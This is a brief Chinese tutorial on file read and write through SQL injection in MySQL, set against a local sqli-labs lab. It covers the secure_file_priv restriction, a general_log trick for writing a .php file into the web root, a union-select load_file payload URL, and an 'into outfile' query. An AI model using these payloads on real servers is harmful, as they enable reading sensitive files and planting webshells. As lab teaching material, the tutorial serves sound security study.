SQL注入之读写文件

1.MYSQL新特性限制文件写入以及替代方法

高版本的mysql添加了一个新的特性secure_file_priv,该值限制了mysql导出文件的权限

secure_file_priv 选项
1、限制mysqld 不允许导入 | 导出
--secure_file_prive=null
2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
--secure_file_priv=/tmp/
3、不对mysqld 的导入 | 导出做限制
---secure_file_priv=

  • linux下 cat /etc/my.cnf
    • [mysqld] secure_file_priv=
  • win下 my.ini
    • [mysqld] secure_file_priv=

查看secure_file_priv

show global variables like '%secure%';

默认配置

在mysql高版本的配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。

image.png

替代方法

需要知道服务器路径

输出日志到日志文件,输出的位置需要知道,win下用\转义路径分隔符,linux下直接使用/路径分隔符

set global general_log=on;set global general_log_file='C:\\phpStudy\\WWW\\123.php';select '';

image.png
image.png

2.旧版本或者secure_file_priv不对mysqld导入导出做限制

load_file读文件

http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\WWW\\a.php'),3 --+

into outfile 写文件

image.png

select '' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\a.php'

你可能感兴趣的:(SQL注入之读写文件)